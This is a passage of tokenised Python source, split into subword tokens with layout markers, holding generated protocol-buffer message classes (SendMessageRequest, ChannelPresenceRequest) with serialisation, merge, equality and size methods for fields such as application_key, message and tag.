")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear", "\\u", "tag_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Unc", "heck", "ed_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Var", "Int32_", "(_", "18_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "message", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "tag", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "26_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "tag", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Parti", "al_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "message", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "18_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "message", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "tag", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "26_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "tag", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Tr", "y", "Merge_", "(_", "self_", ",_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "d_", "._", "avail_", "(_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tt_", "=_", "d_", "._", "get", "Var", "Int32_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tt_", "==_", "10_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "applica", "tion", "\\u", "key_", "(_", "d_", "._", "get", "Prefixe", "d", "String_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tt_", "==_", "18_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "message_", "(_", "d_", "._", "get", "Prefixe", "d", "String_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tt_", "==_", "26_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "tag_", "(_", "d_", "._", "get", "Prefixe", "d", "String_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "tt_", "==_", "0_", ")_", ":_", "raise_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Buffer", "Decode", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "skip", "Data_", "(_", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ",_", "prefix_", "=_", "\"\"_", ",_", "print", "Ele", "m", "Number_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ":_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "applica", "tion", "\\u", "key", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "self_", "._", "Deb", "ug", "Format", "String_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "message", "\\u_", ":_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "message", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "self_", "._", "Deb", "ug", "Format", "String_", "(_", "self_", "._", "message", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "tag", "\\u_", ":_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "tag", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "self_", "._", "Deb", "ug", "Format", "String_", "(_", "self_", "._", "tag", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "res_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "sparse_", ",_", "maxt", "ag_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "tuple_", "(_", "[_", "sparse_", "._", "get_", "(_", "i_", ",_", "default_", ")_", "for_", "i_", "in_", "xrange_", "(_", "0_", ",_", "1_", "+_", "maxt", "ag_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "\\u", "tag", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tag", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kap", "pli", "cation", "\\u", "key_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kt", "ag_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TEXT_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "\"", "Error", "Code", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ":_", "\"", "applica", "tion", "\\u", "key", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "\"", "tag", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TYPES_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "NUMERIC", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "STRING_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "STRING_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "2_", ",_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "MAX", "\\u", "TYPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "STYLE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "STYLE", "\\u", "CONTE", "NT", "\\u", "TYPE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "PROTO", "\\u", "DESCRIPT", "OR", "\\u", "NAME_", "=_", "'", "app", "hostin", "g", ".", "Chan", "nel", "Presence", "Request", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "contents_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "contents_", "is_", "not_", "None_", ":_", "self_", "._", "Merge", "Fro", "m", "String_", "(_", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "applica", "tion", "\\u", "key", "\\u", "size_", "(_", "self_", ")_", ":_", "return_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "applica", "tion", "\\u", "key", "\\u", "list_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "applica", "tion", "\\u", "key_", "(_", "self_", ",_", "i_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "applica", "tion", "\\u", "key_", "(_", "self_", ",_", "i_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "[_", "i_", "]_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "applica", "tion", "\\u", "key_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "._", "append_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "applica", "tion", "\\u", "key_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tag_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "tag", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set\\u", "tag_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "tag", "\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "tag_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "tag", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "tag", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "tag_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "has", "\\u", "tag", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "Merge", "From_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "x_", "is_", "not_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "x_", "._", "applica", "tion", "\\u", "key", "\\u", "size_", "(_", ")_", ")_", ":_", "self_", "._", "add", "\\u", "applica", "tion", "\\u", "key_", "(_", "x_", "._", "applica", "tion", "\\u", "key_", "(_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "x_", "._", "has", "\\u", "tag_", "(_", ")_", ")_", ":_", "self_", "._", "set\\u", "tag_", "(_", "x_", "._", "tag_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Equals_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "x_", "is_", "self_", ":_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", "!=_", "len_", "(_", "x_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "e1_", ",_", "e2_", "in_", "zip_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ",_", "x_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "e1_", "!=_", "e2_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "tag", "\\u_", "!=_", "x_", "._", "has", "\\u", "tag", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "tag", "\\u_", "and_", "self_", "._", "tag", "\\u_", "!=_", "x_", "._", "tag", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Is", "Initialized", "_", "(_", "self_", ",_", "debug", "\\u", "strs_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "initialized_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "1_", "*_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", ":_", "n_", "+=_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "[_", "i_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "tag", "\\u_", ")_", ":_", "n_", "+=_", "1_", "+_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "tag", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size", "Parti", "al_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "1_", "*_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", ":_", "n_", "+=_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "[_", "i_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "tag", "\\u_", ")_", ":_", "n_", "+=_", "1_", "+_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "tag", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Clear_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clear", "\\u", "applica", "tion", "\\u", "key_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear", "\\u", "tag_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Unc", "heck", "ed_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "tag", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "18_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "tag", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", 